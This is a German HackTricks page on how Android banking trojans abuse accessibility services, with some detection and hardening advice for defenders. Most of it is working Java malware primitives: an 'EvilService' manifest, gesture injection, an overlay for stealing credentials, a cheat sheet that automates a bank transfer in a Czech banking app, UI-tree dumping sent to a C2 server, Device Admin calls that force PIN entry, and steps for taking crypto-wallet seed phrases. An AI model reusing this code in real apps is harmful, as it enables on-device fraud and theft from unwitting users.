Missbrauch von Accessibility Services unter Android

Reading time: 8 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Übersicht

AccessibilityService wurde entwickelt, um Nutzern mit Behinderungen die Interaktion mit Android-Geräten zu erleichtern. Leider können dieselben leistungsfähigen Automatisierungs-APIs (global navigation, text input, gesture dispatch, overlay windows…) von Malware missbraucht werden, um vollständige Fernsteuerung des Geräts ohne Root-Rechte zu erlangen.

Moderne Android-Banking-Trojaner und Remote-Access-Trojans (RATs) wie PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda und viele andere folgen derselben Vorgehensweise:

  1. Durch Social-Engineering das Opfer dazu bringen, einen bösartigen accessibility service zu aktivieren (die BIND_ACCESSIBILITY_SERVICE-Berechtigung gilt als "high-risk" und erfordert eine ausdrückliche Benutzeraktion).
  2. Den Service ausnutzen, um
  • alle UI-Ereignisse & Texte zu erfassen, die auf dem Bildschirm erscheinen,
  • synthetische Gesten (dispatchGesture) und globale Aktionen (performGlobalAction) zu injizieren, um beliebige Aufgaben des Operators zu automatisieren,
  • vollbildige Overlays über legitimen Apps zu zeichnen, unter Verwendung des Window-Typs TYPE_ACCESSIBILITY_OVERLAY (kein SYSTEM_ALERT_WINDOW-Prompt!),
  • stillschweigend zusätzliche Runtime-Berechtigungen zu gewähren, indem Systemdialoge im Namen des Opfers angeklickt werden.
  1. Daten exfiltrieren oder On-Device-Fraud (ODF) in Echtzeit durchführen, während der Benutzer auf einen völlig normalen Bildschirm schaut.

Anfordern der Berechtigung

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Die zugehörige XML definiert, wie der gefälschte Dialog aussehen wird:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Remote-UI-Automatisierungsprimitive

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

Mit nur diesen zwei APIs kann ein Angreifer:

  • Den Bildschirm entsperren, die Banking-App öffnen, seinen UI-Baum navigieren und ein Überweisungsformular absenden.
  • Jeden erscheinenden Berechtigungsdialog akzeptieren.
  • Zusätzliche APKs über den Play Store Intent installieren/aktualisieren.

Missbrauchsmuster

1. Overlay Phishing (Credential Harvesting)

Ein transparentes oder undurchsichtiges WebView wird dem Fenstermanager hinzugefügt:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

Das Opfer tippt Anmeldedaten in das gefälschte Formular ein, während die Hintergrund-App dieselben Gesten empfängt – kein verdächtiger "draw over other apps" prompt wird je angezeigt.

Detailliertes Beispiel: der Accessibility Overlay Phishing Abschnitt auf der Tapjacking-Seite.

2. Automatisierung von On-Device-Fraud

Malware-Familien wie PlayPraetor unterhalten einen persistenten WebSocket-Kanal, über den der Operator hochrangige Befehle (init, update, alert_arr, report_list, …) ausgeben kann. Der Dienst übersetzt diese Befehle in die oben beschriebenen Low-Level-Gesten und ermöglicht so Echtzeit-unauthorisierte Transaktionen, die leicht Multi-Faktor-Authentifizierung umgehen können, die an genau dieses Gerät gebunden ist.

3. Bildschirm-Streaming & Überwachung

Durch die Kombination der MediaProjection API mit einer RTMP-Clientbibliothek kann der RAT den Live-Framebuffer an rtmp://<c2>:1935/live/<device_id> senden und dem Angreifer damit perfekte Lageerkennung verschaffen, während die Accessibility-Engine die UI steuert.


PlayPraetor – command & control workflow

  1. HTTP(S) heartbeat – iteriere über eine fest kodierte Liste, bis eine Domain mit POST /app/searchPackageName und dem aktiven C2 antwortet.
  2. WebSocket (port 8282) – bidirektionale JSON-Befehle:
  • update – verteilt neue conf/APKs
  • alert_arr – konfiguriert Overlay-Templates
  • report_list – sendet Liste der Ziel-Package-Namen
  • heartbeat_web – keep-alive
  1. RTMP (port 1935) – Live-Bildschirm-/Video-Streaming.
  2. REST exfiltration
  • /app/saveDevice (Fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (Bank-Creds)

Die AccessibilityService ist die lokale Engine, die diese Cloud-Kommandos in physische Interaktionen umwandelt.


Detecting malicious accessibility services

  • adb shell settings get secure enabled_accessibility_services
  • Einstellungen → Accessibility → Downloaded services – nach Apps suchen, die nicht aus Google Play stammen.
  • MDM / EMM-Lösungen können ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) durchsetzen, um sideloaded Services zu blockieren.
  • Analyse laufender Services:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

Hardening recommendations for app developers

  • Kennzeichne sensitive Views mit android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Kombiniere setFilterTouchesWhenObscured(true) mit FLAG_SECURE, um Tap/Overlay-Hijacking zu verhindern.
  • Erkenne Overlays durch Abfragen von WindowManager.getDefaultDisplay().getFlags() oder der ViewRootImpl API.
  • Verweigere den Betrieb, wenn Settings.canDrawOverlays() oder ein nicht vertrauenswürdiger Accessibility-Service aktiv ist.

ATS-Automatisierungs-Cheat-Sheet (Accessibility-gesteuert)

Malware kann eine Bank-App vollständig mit nur Accessibility-APIs automatisieren. Generische Primitive:

java
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}

Beispielablauf (Tschechisch → englische Bezeichnungen):

  • "Nová platba" (Neue Zahlung) → anklicken
  • "Zadat platbu" (Zahlung eingeben) → anklicken
  • "Nový příjemce" (Neuer Empfänger) → anklicken
  • "Domácí číslo účtu" (Inländische Kontonummer) → fokussieren und ACTION_SET_TEXT
  • "Další" (Weiter) → anklicken → … "Zaplatit" (Zahlen) → anklicken → PIN eingeben

Fallback: fest kodierte Koordinaten mit dispatchGesture, wenn die Textsuche wegen benutzerdefinierter Widgets fehlschlägt.

Ebenfalls beobachtet: Vorbereitende Schritte zu check_limit und limit durch Navigation zur Limits-UI und Erhöhung der täglichen Limits vor der Überweisung.

Textbasierte Pseudo-Screen-Übertragung

Für eine latenzarme Fernsteuerung erzeugt man statt vollständigem Video-Streaming eine textuelle Darstellung des aktuellen UI-Baums und sendet diese wiederholt an C2.

java
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

Dies ist die Grundlage für Befehle wie txt_screen (einmalig) und screen_live (kontinuierlich).

Device Admin Zwangsmechanismen

Sobald ein Device Admin receiver aktiviert ist, erhöhen diese Aufrufe die Möglichkeiten, Credentials zu erfassen und die Kontrolle aufrechtzuerhalten:

java
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Hinweis: Die genaue Verfügbarkeit dieser Richtlinien variiert je nach Android-Version und OEM; validiere die Geräte-Rollen (admin vs owner) während der Tests.

Muster zur Extraktion von Seed-Phrases aus Crypto-Wallets

Beobachtete Abläufe für MetaMask, Trust Wallet, Blockchain.com und Phantom:

  • Entsperren mit gestohlenem PIN (erfasst via overlay/Accessibility) oder mit dem Wallet-Passwort.
  • Navigieren: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • Phrase sammeln via keylogging der text nodes, secure-screen bypass oder Screenshot-OCR, wenn der Text verdeckt ist.
  • Unterstützung mehrerer locales (EN/RU/CZ/SK) zur Stabilisierung der Selektoren – bevorzugt viewIdResourceName wenn verfügbar, Fallback auf mehrsprachigen Textabgleich.

NFC-relay orchestration

Accessibility/RAT-Module können eine dedizierte NFC-relay-App (z. B. NFSkate) als dritte Phase installieren und starten und sogar eine overlay-Anleitung einblenden, um das Opfer durch die card-present relay-Schritte zu führen.

Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks